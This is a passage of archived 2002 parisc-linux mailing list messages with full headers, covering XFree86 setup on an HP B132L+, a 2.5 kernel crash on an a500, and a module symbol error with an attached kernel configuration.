On Mon, Jul 22, 2002 at 07:02:59PM -0600, Grant Grundler wrote:
> Michael Madden wrote:
> > Has anyone gotten X to work with the recently released Debian 3.0 on 
> > a PA-RISC machine?  I have a B132L+ that I've installed Debian 3.0 on,
> > but I cannot get X setup correctly.
> 
> 	ftp://ftp.parisc-linux.org/kernels/b180
> 
> Has one XF86Config-4 (.joel) and will get another from my b180
> if it's any different.
> 
> Oh, and you've got too many bit depths listed in your XF86Config-4.
> I don't know why, but the X11 server can only tolerated one.
> Use what "fbset -i" output provides.
> 
> grant


From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "KANIANTHARA,THOMAS-PHILIP (HP-Singapore,ex5)" <thomas-philip_kanianthara@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] XFree86 on B132L using Debian 3.0
Date: Wed, 24 Jul 2002 10:04:17 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <AD785699A29AD411858B00D0B77551ED09ED6A11@xsg05.sgp.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621560 11396 80.91.229.3 (22 Nov 2014 01:59:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 20:04:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sngrel7.hp.com (sngrel7.hp.com [192.6.86.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3D47482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 20:04:28 -0600 (MDT)
Original-Received: from ctss11.sgp.hp.com (ctss11.sgp.hp.com [15.85.49.5])
	by sngrel7.hp.com (Postfix) with ESMTP id 1A10E638
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 10:04:27 +0800 (SST)
Original-Received: from XSGBRG2.sgp.hp.com (xsgbrg2.sgp.hp.com [15.85.49.112])
	by ctss11.sgp.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail BPI enabled) with SMTP id KAA22105
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 10:04:21 +0800 (SGP)
Original-Received: from 15.85.49.112 by XSGBRG2.sgp.hp.com (InterScan E-Mail VirusWall NT); Wed, 24 Jul 2002 10:04:20 +0800
Original-Received: by xsgbrg2.sgp.hp.com with Internet Mail Service (5.5.2655.55)
	id <P10KKTAT>; Wed, 24 Jul 2002 10:04:20 +0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15625

>From what I know, there is a hardware limitation on the B132's graphic
sub-system that doesn't allow it to do more than 8 bpp.

I've got a B132L+ and I have to agree that Debian3.0 works really well on
it.

Cheers,
Thomas.

-----Original Message-----
From: madden@maddentechnologies.com [mailto:madden@maddentechnologies.com]
Sent: Tuesday, July 23, 2002 1:08 PM
To: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] XFree86 on B132L using Debian 3.0

Thank you very much for pointing me to the files.  Both the .joel and
.ggg files worked great!  Do you know if you can run X in 16 or 24 bpp?
8 bpp seems to work just fine, but it would be nice to have at least 16
bpp.

Thanks again,

Mike

On Mon, Jul 22, 2002 at 07:02:59PM -0600, Grant Grundler wrote:
> Michael Madden wrote:
> > Has anyone gotten X to work with the recently released Debian 3.0 on
> > a PA-RISC machine?  I have a B132L+ that I've installed Debian 3.0 on,
> > but I cannot get X setup correctly.
>
>       ftp://ftp.parisc-linux.org/kernels/b180
>
> Has one XF86Config-4 (.joel) and will get another from my b180
> if it's any different.
>
> Oh, and you've got too many bit depths listed in your XF86Config-4.
> I don't know why, but the X11 server can only tolerated one.
> Use what "fbset -i" output provides.
>
> grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 kernel crash on a500 -- help needed
Date: Tue, 23 Jul 2002 23:53:44 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20020724065344.GF17737@tausq.org>
References: <20020723065000.E4DE3482C@dsl2.external.hp.com> <20020723065807.GB17737@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621561 11403 80.91.229.3 (22 Nov 2014 01:59:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 00:49:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1117C482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 00:49:15 -0600 (MDT)
Original-Received: (qmail 3058 invoked from network); 24 Jul 2002 06:49:14 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 24 Jul 2002 06:49:14 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4D669CE04E; Tue, 23 Jul 2002 23:53:44 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020723065807.GB17737@tausq.org>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15626

(this reference was copied from the cvs list w.r.t our 2.5 merge)

In reference to a message from Randolph Chung, dated Jul 22:
> > init/main.c
> > add parisc_init back into the init sequence.... this causes the machine to crash though, need to investigate if the call is in the right place

without parisc_init(), i'm getting this on a500... debugging
output should be pretty much self-explanatory...

POSIX conformance testing by UNIFIX
before init_idle
after init_idle
Starting rest_init
Starting kernel thread 0x0000000010479180, arg 0x0000000000000000, flags 69120
Return from kernel_thread; pid = 352186432
After kernel_thread
Calling cpu_idle
schedule: need_resched
prev->stat = 0
schedule: switch_tasks
context_switch: mm = 0x0000000014fdf078, oldmm = 0x00000000103ce968
doing switch_to; prev=0x0,0x0, next=0x104d0040,0x104d0070
-> (the prev/next numbers are reg->iaoq[0] and reg->kpc)
-> there's another printk() right after the switch_to() call, i don't
   see that...

At this point, the machine hpmcs. The hpmc output is not very helpful,
and probably wrong. it points the crash to printk (both iaoq and
gr2 point to printk, but different locations)

I'm not sure whether this is a bug inside our switch_to code (looks
correct...) or if the switched to task is crashing. It seems to me the
only thing in the runqueue at this point should be the init thread, 
right?  but i don't get the printk() output from init.....

any hints on how to debug this?

baffled....
randolph

p.s. for those of you wondering, we do have a linkable 2.5 kernel now
(at least in some configurations). it doesn't come near to booting yet,
but willy/helge/richard/grant and others are busy working on it :)
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unresoved symbols when doing a make modules_install
Date: Wed, 24 Jul 2002 10:33:22 +0200
Lines: 596
Approved: news@gmane.org
Message-ID: <OE71RBHZXFZ0stgr3SU00003162@hotmail.com>
References: <OE32H8BX2vRxFmNHYus00008028@hotmail.com> <20020723150421.G3052@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_001C_01C232FD.892170A0"
X-Trace: ger.gmane.org 1416621561 11405 80.91.229.3 (22 Nov 2014 01:59:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:21 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 02:33:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe71.law4.hotmail.com [216.33.148.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAAA7482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 02:33:30 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 24 Jul 2002 01:33:30 -0700
X-Originating-IP: [213.224.83.142]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 24 Jul 2002 08:33:30.0021 (UTC) FILETIME=[C9DD9D50:01C232EC]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15627

This is a multi-part message in MIME format.

------=_NextPart_000_001C_01C232FD.892170A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi again,

I don't understand it either. I've been compiling kernels for my 486 for
quite a while now, and I never received such an error. So I'm not quite sure
where to look. I thought I messed things up, so yesterday I did a "make
mrproper" to start all over again. Still no joy :(
Does someone have an idea where I should look?
Attached to this mail you can find my config.
Thanks.


regards,

Kenneth

----- Original Message -----
From: "Matthew Wilcox" <willy@debian.org>
To: "kenneth westelinck" <kennywest1@hotmail.com>
Cc: <parisc-linux@parisc-linux.org>
Sent: Tuesday, July 23, 2002 4:04 PM
Subject: Re: [parisc-linux] unresoved symbols when doing a make
modules_install


> On Tue, Jul 23, 2002 at 03:51:57PM +0200, kenneth westelinck wrote:
> > Today I "baked" myself a new kernel (2.4.18-pa56). After upgrading my
box
> > (using apt-get), INIT was dying upon startup with an "unaligned access"
> > error. Anyway, all is working well (even the soft-power button), but I
am
> > getting an "unresolved symbols"-error when doing a "make
modules_install"
> > (see attached file). Yes, I copied the System.map to
> > /boot/System.map-2.4.18-pa56 and created a symbolic link to this file.
Any
> > ideas?
>
> i'm baffled.  we prototype, define and EXPORT_SYMBOL outs[bwl].  i can't
> see why you'd get this error.
>
> --
> Revolutions do not require corporate support.
>

------=_NextPart_000_001C_01C232FD.892170A0
Content-Type: application/octet-stream;
	name=".config"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename=".config"

#=0A=
# Automatically generated by make menuconfig: don't edit=0A=
#=0A=
CONFIG_PARISC=3Dy=0A=
# CONFIG_UID16 is not set=0A=
CONFIG_RWSEM_GENERIC_SPINLOCK=3Dy=0A=
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set=0A=
=0A=
#=0A=
# Code maturity level options=0A=
#=0A=
CONFIG_EXPERIMENTAL=3Dy=0A=
=0A=
#=0A=
# Loadable module support=0A=
#=0A=
CONFIG_MODULES=3Dy=0A=
# CONFIG_MODVERSIONS is not set=0A=
CONFIG_KMOD=3Dy=0A=
=0A=
#=0A=
# Processor type=0A=
#=0A=
CONFIG_PA7100=3Dy=0A=
# CONFIG_PA7200 is not set=0A=
# CONFIG_PA7100LC is not set=0A=
# CONFIG_PA8X00 is not set=0A=
CONFIG_PA11=3Dy=0A=
=0A=
#=0A=
# General options=0A=
#=0A=
# CONFIG_SMP is not set=0A=
CONFIG_CHASSIS_LCD_LED=3Dy=0A=
# CONFIG_KWDB is not set=0A=
CONFIG_IOMMU_CCIO=3Dy=0A=
CONFIG_GSC=3Dy=0A=
CONFIG_GSC_LASI=3Dy=0A=
CONFIG_GSC_WAX=3Dy=0A=
# CONFIG_EISA is not set=0A=
# CONFIG_ISA is not set=0A=
# CONFIG_PCI is not set=0A=
=0A=
#=0A=
# General setup=0A=
#=0A=
# CONFIG_HOTPLUG is not set=0A=
CONFIG_NET=3Dy=0A=
CONFIG_SYSVIPC=3Dy=0A=
# CONFIG_BSD_PROCESS_ACCT is not set=0A=
CONFIG_SYSCTL=3Dy=0A=
CONFIG_KCORE_ELF=3Dy=0A=
CONFIG_BINFMT_ELF=3Dy=0A=
CONFIG_BINFMT_SOM=3Dy=0A=
# CONFIG_BINFMT_MISC is not set=0A=
# CONFIG_PM is not set=0A=
=0A=
#=0A=
# Parallel port support=0A=
#=0A=
CONFIG_PARPORT=3Dy=0A=
CONFIG_PARPORT_PC=3Dy=0A=
CONFIG_PARPORT_PC_CML1=3Dy=0A=
# CONFIG_PARPORT_SERIAL is not set=0A=
# CONFIG_PARPORT_PC_FIFO is not set=0A=
# CONFIG_PARPORT_PC_SUPERIO is not set=0A=
# CONFIG_PARPORT_AMIGA is not set=0A=
# CONFIG_PARPORT_MFC3 is not set=0A=
# CONFIG_PARPORT_ATARI is not set=0A=
CONFIG_PARPORT_GSC=3Dy=0A=
# CONFIG_PARPORT_SUNBPP is not set=0A=
# CONFIG_PARPORT_OTHER is not set=0A=
# CONFIG_PARPORT_1284 is not set=0A=
=0A=
#=0A=
# Block devices=0A=
#=0A=
# CONFIG_BLK_DEV_FD is not set=0A=
# CONFIG_BLK_DEV_XD is not set=0A=
# CONFIG_PARIDE is not set=0A=
# CONFIG_BLK_CPQ_DA is not set=0A=
# CONFIG_BLK_CPQ_CISS_DA is not set=0A=
# CONFIG_BLK_DEV_DAC960 is not set=0A=
CONFIG_BLK_DEV_LOOP=3Dy=0A=
# CONFIG_BLK_DEV_NBD is not set=0A=
# CONFIG_BLK_DEV_RAM is not set=0A=
# CONFIG_BLK_DEV_INITRD is not set=0A=
=0A=
#=0A=
# Multi-device support (RAID and LVM)=0A=
#=0A=
# CONFIG_MD is not set=0A=
# CONFIG_BLK_DEV_MD is not set=0A=
# CONFIG_MD_LINEAR is not set=0A=
# CONFIG_MD_RAID0 is not set=0A=
# CONFIG_MD_RAID1 is not set=0A=
# CONFIG_MD_RAID5 is not set=0A=
# CONFIG_MD_MULTIPATH is not set=0A=
# CONFIG_BLK_DEV_LVM is not set=0A=
=0A=
#=0A=
# Networking options=0A=
#=0A=
CONFIG_PACKET=3Dy=0A=
CONFIG_PACKET_MMAP=3Dy=0A=
CONFIG_NETLINK_DEV=3Dy=0A=
# CONFIG_NETFILTER is not set=0A=
CONFIG_FILTER=3Dy=0A=
CONFIG_UNIX=3Dy=0A=
CONFIG_INET=3Dy=0A=
CONFIG_IP_MULTICAST=3Dy=0A=
# CONFIG_IP_ADVANCED_ROUTER is not set=0A=
# CONFIG_IP_PNP is not set=0A=
# CONFIG_NET_IPIP is not set=0A=
# CONFIG_NET_IPGRE is not set=0A=
# CONFIG_IP_MROUTE is not set=0A=
# CONFIG_ARPD is not set=0A=
# CONFIG_INET_ECN is not set=0A=
# CONFIG_SYN_COOKIES is not set=0A=
# CONFIG_IPV6 is not set=0A=
# CONFIG_KHTTPD is not set=0A=
# CONFIG_ATM is not set=0A=
# CONFIG_VLAN_8021Q is not set=0A=
# CONFIG_IPX is not set=0A=
# CONFIG_ATALK is not set=0A=
# CONFIG_DECNET is not set=0A=
# CONFIG_BRIDGE is not set=0A=
# CONFIG_X25 is not set=0A=
# CONFIG_LAPB is not set=0A=
# CONFIG_LLC is not set=0A=
# CONFIG_NET_DIVERT is not set=0A=
# CONFIG_ECONET is not set=0A=
# CONFIG_WAN_ROUTER is not set=0A=
# CONFIG_NET_FASTROUTE is not set=0A=
# CONFIG_NET_HW_FLOWCONTROL is not set=0A=
=0A=
#=0A=
# QoS and/or fair queueing=0A=
#=0A=
# CONFIG_NET_SCHED is not set=0A=
=0A=
#=0A=
# SCSI support=0A=
#=0A=
CONFIG_SCSI=3Dy=0A=
CONFIG_BLK_DEV_SD=3Dy=0A=
CONFIG_SD_EXTRA_DEVS=3D40=0A=
# CONFIG_CHR_DEV_ST is not set=0A=
# CONFIG_CHR_DEV_OSST is not set=0A=
# CONFIG_BLK_DEV_SR is not set=0A=
CONFIG_CHR_DEV_SG=3Dy=0A=
# CONFIG_SCSI_DEBUG_QUEUES is not set=0A=
# CONFIG_SCSI_MULTI_LUN is not set=0A=
# CONFIG_SCSI_CONSTANTS is not set=0A=
# CONFIG_SCSI_LOGGING is not set=0A=
=0A=
#=0A=
# SCSI low-level drivers=0A=
#=0A=
# CONFIG_SCSI_7000FASST is not set=0A=
# CONFIG_SCSI_ACARD is not set=0A=
# CONFIG_SCSI_AHA152X is not set=0A=
# CONFIG_SCSI_AHA1542 is not set=0A=
# CONFIG_SCSI_AHA1740 is not set=0A=
# CONFIG_SCSI_AACRAID is not set=0A=
# CONFIG_SCSI_AIC7XXX is not set=0A=
# CONFIG_SCSI_AIC7XXX_OLD is not set=0A=
# CONFIG_SCSI_DPT_I2O is not set=0A=
# CONFIG_SCSI_ADVANSYS is not set=0A=
# CONFIG_SCSI_IN2000 is not set=0A=
# CONFIG_SCSI_AM53C974 is not set=0A=
# CONFIG_SCSI_MEGARAID is not set=0A=
# CONFIG_SCSI_BUSLOGIC is not set=0A=
# CONFIG_SCSI_DMX3191D is not set=0A=
# CONFIG_SCSI_DTC3280 is not set=0A=
# CONFIG_SCSI_EATA is not set=0A=
# CONFIG_SCSI_EATA_DMA is not set=0A=
# CONFIG_SCSI_EATA_PIO is not set=0A=
# CONFIG_SCSI_FUTURE_DOMAIN is not set=0A=
# CONFIG_SCSI_GDTH is not set=0A=
# CONFIG_SCSI_GENERIC_NCR5380 is not set=0A=
# CONFIG_SCSI_INITIO is not set=0A=
# CONFIG_SCSI_INIA100 is not set=0A=
CONFIG_SCSI_PPA=3Dm=0A=
# CONFIG_SCSI_IMM is not set=0A=
# CONFIG_SCSI_IZIP_EPP16 is not set=0A=
# CONFIG_SCSI_IZIP_SLOW_CTR is not set=0A=
# CONFIG_SCSI_NCR53C406A is not set=0A=
CONFIG_SCSI_LASI700=3Dy=0A=
CONFIG_53C700_MEM_MAPPED=3Dy=0A=
CONFIG_53C700_LE_ON_BE=3Dy=0A=
CONFIG_53C700_USE_CONSISTENT=3Dy=0A=
# CONFIG_SCSI_NCR53C7xx is not set=0A=
# CONFIG_ASK_ZALON is not set=0A=
# CONFIG_ASK_NCR53C8XX is not set=0A=
# CONFIG_ASK_SYM53C8XX is not set=0A=
# CONFIG_SCSI_ZALON is not set=0A=
# CONFIG_SCSI_PAS16 is not set=0A=
# CONFIG_SCSI_PCI2000 is not set=0A=
# CONFIG_SCSI_PCI2220I is not set=0A=
# CONFIG_SCSI_PSI240I is not set=0A=
# CONFIG_SCSI_QLOGIC_FAS is not set=0A=
# CONFIG_SCSI_SIM710 is not set=0A=
# CONFIG_SCSI_SYM53C416 is not set=0A=
# CONFIG_SCSI_T128 is not set=0A=
# CONFIG_SCSI_U14_34F is not set=0A=
# CONFIG_SCSI_DEBUG is not set=0A=
=0A=
#=0A=
# Network device support=0A=
#=0A=
CONFIG_NETDEVICES=3Dy=0A=
=0A=
#=0A=
# ARCnet devices=0A=
#=0A=
# CONFIG_ARCNET is not set=0A=
# CONFIG_DUMMY is not set=0A=
# CONFIG_BONDING is not set=0A=
# CONFIG_EQUALIZER is not set=0A=
# CONFIG_TUN is not set=0A=
# CONFIG_ETHERTAP is not set=0A=
=0A=
#=0A=
# Ethernet (10 or 100Mbit)=0A=
#=0A=
CONFIG_NET_ETHERNET=3Dy=0A=
CONFIG_LASI_82596=3Dy=0A=
# CONFIG_SUNLANCE is not set=0A=
# CONFIG_SUNBMAC is not set=0A=
# CONFIG_SUNQE is not set=0A=
# CONFIG_SUNGEM is not set=0A=
# CONFIG_NET_VENDOR_3COM is not set=0A=
# CONFIG_LANCE is not set=0A=
# CONFIG_NET_VENDOR_SMC is not set=0A=
# CONFIG_NET_VENDOR_RACAL is not set=0A=
# CONFIG_NET_ISA is not set=0A=
# CONFIG_NET_PCI is not set=0A=
# CONFIG_NET_POCKET is not set=0A=
=0A=
#=0A=
# Ethernet (1000 Mbit)=0A=
#=0A=
# CONFIG_ACENIC is not set=0A=
# CONFIG_DL2K is not set=0A=
# CONFIG_MYRI_SBUS is not set=0A=
# CONFIG_NS83820 is not set=0A=
# CONFIG_HAMACHI is not set=0A=
# CONFIG_YELLOWFIN is not set=0A=
# CONFIG_SK98LIN is not set=0A=
# CONFIG_FDDI is not set=0A=
# CONFIG_HIPPI is not set=0A=
# CONFIG_PLIP is not set=0A=
# CONFIG_PPP is not set=0A=
# CONFIG_SLIP is not set=0A=
=0A=
#=0A=
# Wireless LAN (non-hamradio)=0A=
#=0A=
# CONFIG_NET_RADIO is not set=0A=
=0A=
#=0A=
# Token Ring devices=0A=
#=0A=
# CONFIG_TR is not set=0A=
# CONFIG_NET_FC is not set=0A=
# CONFIG_RCPCI is not set=0A=
# CONFIG_SHAPER is not set=0A=
=0A=
#=0A=
# Wan interfaces=0A=
#=0A=
# CONFIG_WAN is not set=0A=
=0A=
#=0A=
# Input core support=0A=
#=0A=
# CONFIG_INPUT is not set=0A=
# CONFIG_INPUT_KEYBDEV is not set=0A=
# CONFIG_INPUT_MOUSEDEV is not set=0A=
# CONFIG_INPUT_JOYDEV is not set=0A=
# CONFIG_INPUT_EVDEV is not set=0A=
=0A=
#=0A=
# Character devices=0A=
#=0A=
CONFIG_VT=3Dy=0A=
CONFIG_VT_CONSOLE=3Dy=0A=
CONFIG_GSC_PS2=3Dy=0A=
CONFIG_SERIAL=3Dy=0A=
CONFIG_SERIAL_CONSOLE=3Dy=0A=
CONFIG_SERIAL_GSC=3Dy=0A=
# CONFIG_SERIAL_EXTENDED is not set=0A=
# CONFIG_SERIAL_NONSTANDARD is not set=0A=
CONFIG_UNIX98_PTYS=3Dy=0A=
CONFIG_UNIX98_PTY_COUNT=3D256=0A=
CONFIG_PRINTER=3Dy=0A=
# CONFIG_LP_CONSOLE is not set=0A=
# CONFIG_PPDEV is not set=0A=
=0A=
#=0A=
# I2C support=0A=
#=0A=
# CONFIG_I2C is not set=0A=
=0A=
#=0A=
# Mice=0A=
#=0A=
# CONFIG_BUSMOUSE is not set=0A=
CONFIG_MOUSE=3Dy=0A=
CONFIG_PSMOUSE=3Dy=0A=
# CONFIG_82C710_MOUSE is not set=0A=
# CONFIG_PC110_PAD is not set=0A=
=0A=
#=0A=
# Joysticks=0A=
#=0A=
# CONFIG_INPUT_GAMEPORT is not set=0A=
# CONFIG_QIC02_TAPE is not set=0A=
=0A=
#=0A=
# Watchdog Cards=0A=
#=0A=
# CONFIG_WATCHDOG is not set=0A=
CONFIG_GENRTC=3Dy=0A=
# CONFIG_INTEL_RNG is not set=0A=
# CONFIG_NVRAM is not set=0A=
# CONFIG_RTC is not set=0A=
# CONFIG_DTLK is not set=0A=
# CONFIG_R3964 is not set=0A=
# CONFIG_APPLICOM is not set=0A=
=0A=
#=0A=
# Ftape, the floppy tape device driver=0A=
#=0A=
# CONFIG_FTAPE is not set=0A=
# CONFIG_AGP is not set=0A=
# CONFIG_DRM is not set=0A=
=0A=
#=0A=
# HIL support=0A=
#=0A=
=0A=
#=0A=
# Multimedia devices=0A=
#=0A=
# CONFIG_VIDEO_DEV is not set=0A=
=0A=
#=0A=
# File systems=0A=
#=0A=
CONFIG_QUOTA=3Dy=0A=
# CONFIG_AUTOFS_FS is not set=0A=
# CONFIG_AUTOFS4_FS is not set=0A=
# CONFIG_REISERFS_FS is not set=0A=
# CONFIG_REISERFS_CHECK is not set=0A=
# CONFIG_REISERFS_PROC_INFO is not set=0A=
# CONFIG_ADFS_FS is not set=0A=
# CONFIG_ADFS_FS_RW is not set=0A=
# CONFIG_AFFS_FS is not set=0A=
# CONFIG_HFS_FS is not set=0A=
# CONFIG_BFS_FS is not set=0A=
# CONFIG_EXT3_FS is not set=0A=
# CONFIG_JBD is not set=0A=
# CONFIG_JBD_DEBUG is not set=0A=
CONFIG_FAT_FS=3Dy=0A=
CONFIG_MSDOS_FS=3Dy=0A=
# CONFIG_UMSDOS_FS is not set=0A=
CONFIG_VFAT_FS=3Dy=0A=
# CONFIG_EFS_FS is not set=0A=
# CONFIG_JFFS_FS is not set=0A=
# CONFIG_JFFS2_FS is not set=0A=
# CONFIG_CRAMFS is not set=0A=
# CONFIG_TMPFS is not set=0A=
# CONFIG_RAMFS is not set=0A=
# CONFIG_ISO9660_FS is not set=0A=
# CONFIG_JOLIET is not set=0A=
# CONFIG_ZISOFS is not set=0A=
# CONFIG_MINIX_FS is not set=0A=
# CONFIG_VXFS_FS is not set=0A=
# CONFIG_NTFS_FS is not set=0A=
# CONFIG_NTFS_RW is not set=0A=
# CONFIG_HPFS_FS is not set=0A=
CONFIG_PROC_FS=3Dy=0A=
# CONFIG_DEVFS_FS is not set=0A=
# CONFIG_DEVFS_MOUNT is not set=0A=
# CONFIG_DEVFS_DEBUG is not set=0A=
CONFIG_DEVPTS_FS=3Dy=0A=
# CONFIG_QNX4FS_FS is not set=0A=
# CONFIG_QNX4FS_RW is not set=0A=
# CONFIG_ROMFS_FS is not set=0A=
CONFIG_EXT2_FS=3Dy=0A=
# CONFIG_SYSV_FS is not set=0A=
# CONFIG_UDF_FS is not set=0A=
# CONFIG_UDF_RW is not set=0A=
# CONFIG_UFS_FS is not set=0A=
# CONFIG_UFS_FS_WRITE is not set=0A=
=0A=
#=0A=
# Network File Systems=0A=
#=0A=
# CONFIG_CODA_FS is not set=0A=
# CONFIG_INTERMEZZO_FS is not set=0A=
CONFIG_NFS_FS=3Dy=0A=
CONFIG_NFS_V3=3Dy=0A=
# CONFIG_ROOT_NFS is not set=0A=
CONFIG_NFSD=3Dy=0A=
CONFIG_NFSD_V3=3Dy=0A=
CONFIG_SUNRPC=3Dy=0A=
CONFIG_LOCKD=3Dy=0A=
CONFIG_LOCKD_V4=3Dy=0A=
# CONFIG_SMB_FS is not set=0A=
# CONFIG_NCP_FS is not set=0A=
# CONFIG_NCPFS_PACKET_SIGNING is not set=0A=
# CONFIG_NCPFS_IOCTL_LOCKING is not set=0A=
# CONFIG_NCPFS_STRONG is not set=0A=
# CONFIG_NCPFS_NFS_NS is not set=0A=
# CONFIG_NCPFS_OS2_NS is not set=0A=
# CONFIG_NCPFS_SMALLDOS is not set=0A=
# CONFIG_NCPFS_NLS is not set=0A=
# CONFIG_NCPFS_EXTRAS is not set=0A=
# CONFIG_ZISOFS_FS is not set=0A=
# CONFIG_ZLIB_FS_INFLATE is not set=0A=
=0A=
#=0A=
# Partition Types=0A=
#=0A=
# CONFIG_PARTITION_ADVANCED is not set=0A=
